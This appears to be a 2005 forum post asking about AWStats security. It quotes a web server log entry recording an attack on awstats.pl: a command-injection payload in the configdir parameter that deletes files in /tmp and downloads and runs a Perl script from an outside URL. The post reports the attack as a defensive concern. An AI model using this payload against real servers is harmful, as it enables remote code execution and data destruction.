http://awstats.sourceforge.net/

Looks good. One thing that concerns me, though. The name sounded familiar because of some attempts made on my web server from time to time. I notice entries like the following in my logs (sorry for any wrapping):

host-216-153-162-21.pro.choiceone.net - - [13/Sep/2005:10:52:04 -0400] "GET /awstats/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;curl%20-O%20http://www.geocities.com/h4x000r/a.pl;perl%20a.pl;echo%20;rm%20-rf%20a.pl*;echo| HTTP/1.1" 404 12682 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"

On one such occasion I even went and downloaded the PERL script to which it links and looked through the code. Pretty unsettling. As with any service, security is always a concern. But it concerned me that attacks were being directed at this awstats package.

Is there anything I should know before just loading it up and running it?
